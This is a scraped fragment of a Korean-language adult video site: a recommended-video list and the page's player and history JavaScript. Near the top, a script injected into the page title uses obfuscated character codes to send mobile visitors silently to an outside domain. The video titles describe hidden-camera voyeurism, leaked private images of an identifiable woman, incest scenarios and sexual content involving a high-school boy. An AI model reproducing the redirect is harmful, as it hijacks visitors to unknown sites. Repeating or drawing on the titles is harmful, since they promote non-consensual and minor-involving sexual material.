추천 영상
16:26
</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>제 형부가 형수님 댁에 묵고 있는데, 한밤중에 형수님 침대에 몰래 들어가 형수님을 더듬기 시작했어요. 형수님 오빠가 바로 옆에 있는데도 말이죠. 어떻게 감히 그럴 수가 있죠!</script></title>
제 형부가 형수님 댁에 묵고 있는데, 한밤중에 형수님 침대에 몰래 들어가 형수님을 더듬기 시작했어요. 형수님 오빠가 바로 옆에 있는데도 말이죠. 어떻게 감히 그럴 수가 있죠!","lastmod":"2026-07-11","duration":"16:26","url":"/play/19163884.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMWUwYTI5YjczYTdhZDRiMjk0YzQ2NWI4YjFhOTIwZWMuanBn.cache","vod_id":19135186,"title":"나이 많은 남자와 젊은 남자는 호텔 방에 들어가 여러 체위로 격렬하게 성관계를 가졌다. (1부)","lastmod":"2025-12-25","duration":"14:40","url":"/play/19135186.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMzAyMWE5NzdhMTI4MjhkNjRiZjJiMjRkY2NkYTdhOGYuanBn.cache","vod_id":18950713,"title":"ED Mosaic의 은밀한 애무는 최고의 오르가즘으로 이어집니다 ❤️ 에이미의 내면의 욕망을 만족시키는 비밀 침실 기술 1","lastmod":"2025-12-14","duration":"00:27:27","url":"/play/18950713.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZWYyNGU5MWQxNGFhZTRkZGUzYzYzYjYxZWUwZjkxOTUuanBn.cache","vod_id":18986824,"title":"\"고품질 클라우드 드라이브 유출\" - 얼굴을 보여주는 것이 핵심! 성숙한 여성 이미지와 대조적인 고가치 영업 관리자 [덩 W 팅]의 음란 사생활 사진 유출~ 발 페티시, 섹스, 자위 기술, 과장되게 큰 음모, 강한 성욕 (4)","lastmod":"2025-12-14","duration":"00:01:22","url":"/play/18986824.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTMvYzc3N2FiYTk1OWU3Yzc1NWRmYTQxNjQ4MmM3Yzc5OTkuanBn.cache","vod_id":19065308,"title":"놀라운 미모와 환상적인 가슴, 육감적인 몸매를 가진 여성이 한 남성에게 침대에서 무자비하게 유린당했습니다. 라이브 스트리밍 도중 그녀의 매력적인 몸매가 고스란히 드러났고, 남성은 그녀의 입과 매끈한 질을 사정할 때까지 사정없이 유린했습니다.","lastmod":"2025-12-14","duration":"53:55","url":"/play/19065308.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZTczODgyZjA0MWY5MDE4MjRjZTA1NTg2OWZmNzFlYjEuanBn.cache","vod_id":18941567,"title":"FC2PPV-1167976 [개인용] 침대에서","lastmod":"2025-12-14","duration":"00:29:23","url":"/play/18941567.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNzlkMDk0NjgwMjdjMmI5YjgyMGY0NWMxZTIzNWVjZjkuanBn.cache","vod_id":18975660,"title":"FSDSS-566 사랑하는 남동생이 여자친구와 관계를 맺는 것을 막기 위해, 남동생에 대한 집착이 심한 누나는 악마 같은 구강 기술을 이용해 24시간 내내 남동생에게 오럴 섹스를 해주고 하루에 10번씩 사정하게 만든다. (이가라시 나츠)","lastmod":"2025-12-14","duration":"02:32:38","url":"/play/18975660.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvN2U4ZDVkYmM1N2IwNDJlMDVhMDVmOWZkZjVjYTI0N2EuanBn.cache","vod_id":18963892,"title":"SDMU-352 이 자상한 누나는 가족 여행 중 야외 목욕탕에서 \"동생의 첫 경험\"을 훔칠 수 있을까요?","lastmod":"2025-12-14","duration":"03:56:30","url":"/play/18963892.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNmYyMjgzYWEzYTA2ZmU0MTk4ODczYmRhN2VlMTA1YzguanBn.cache","vod_id":19146827,"title":"다음 에피소드 무료 공개: 근육질 몸매가 전혀 없는 이성애자 남성을 콘돔 없이 거칠게 삽입하고 사정시키는 방법.","lastmod":"2026-03-06","duration":"17:06","url":"/play/19146827.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly8xNTI2MDMwOXAudG9wLzIwMjYwMzEyL3VhT2ppTURpLzEuanBn.cache","vod_id":19148038,"title":"여성 전용 스파에서 마사지를 받는 여성 고객들의 모습이 몰래카메라에 찍혔다. 영상에는 그녀의 엉덩이를 에센셜 오일로 마사지하는 클로즈업 장면과 마사지 침대에서 손가락으로 지압하는 모습이 담겨 있다.","lastmod":"2026-03-13","duration":"01:09:39","url":"/play/19148038.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNjI0MjAzYTU4NDhmYjM1ZGE2YWM3MTAzY2I5YjExMjQuanBn.cache","vod_id":19002051,"title":"[커플 셀카] 거울 앞에서 휴대전화를 들고 있는 한 커플이 스타킹을 신은 여성과 함께 바닥과 침대에서 성관계를 갖고 있다.","lastmod":"2025-03-23","duration":"12:22","url":"/play/19002051.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODIyZjQzYTY0MTFiMWE0ZGEzYjMzZWMyMzA4MTBhYzAuanBn.cache","vod_id":18958199,"title":"\"궁극의 대조를 보여주는 악녀가 비밀을 폭로하다\" - 어떤 항공사의 고가치의 물질주의적 승무원이 건강하지 못한 상태로 몰래 촬영되었다. 비행기 안에서는 고급스럽고 온화하며 우아한 여신이지만, 사적으로는 돈에 얽매이지 않고 온갖 훈련을 받는 슈가대디의 악녀로 변한다(19).","lastmod":"2025-12-14","duration":"00:02:44","url":"/play/18958199.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZDMwOGMzOWJjNTIwNjIwZTZjZTcyZmE0OGFiN2RhY2IuanBn.cache","vod_id":19146662,"title":"엄청난 크기의 성기를 가진 남학생 남동생이 집에서 자위하며 거울에 사정하는 영상입니다.","lastmod":"2026-03-05","duration":"03:29","url":"/play/19146662.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MjQvYjZhMmE5YTQ5YTA2MWE5ZDM3ZTdmMGJmNGNkOTg1ZWIuanBn.cache","vod_id":19030689,"title":"그녀는 다른 도시에 사는 남자와 호텔에서 불륜 관계를 맺고 있었다. 그녀가 방에 들어서자마자 남자는 그녀에게 달려들어 여러 체위로 성관계를 시작했다.","lastmod":"2025-04-24","duration":"59:21","url":"/play/19030689.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNDQzYjcwZDQ3MzJjMWUyNWQwMTU0ODA3MDliYzBjY2IuanBn.cache","vod_id":19150704,"title":"스파 헬스센터에서 몰래 촬영한 고화질 영상으로, 엉덩이가 큰 여성 고객이 팬티를 내리고 성기를 꺼내 마사지 침대에 문지른 후 옆에서 삽입하는 장면이 담겨 있습니다. 이 엉덩이 정말 끝내주네요!","lastmod":"2026-03-29","duration":"01:00:11","url":"/play/19150704.html"}]},
videoTitle: '흰 양말을 신은 남고생이 침대에서 자위하는 모습',
language: 'ko',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('링크 복사 완료!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}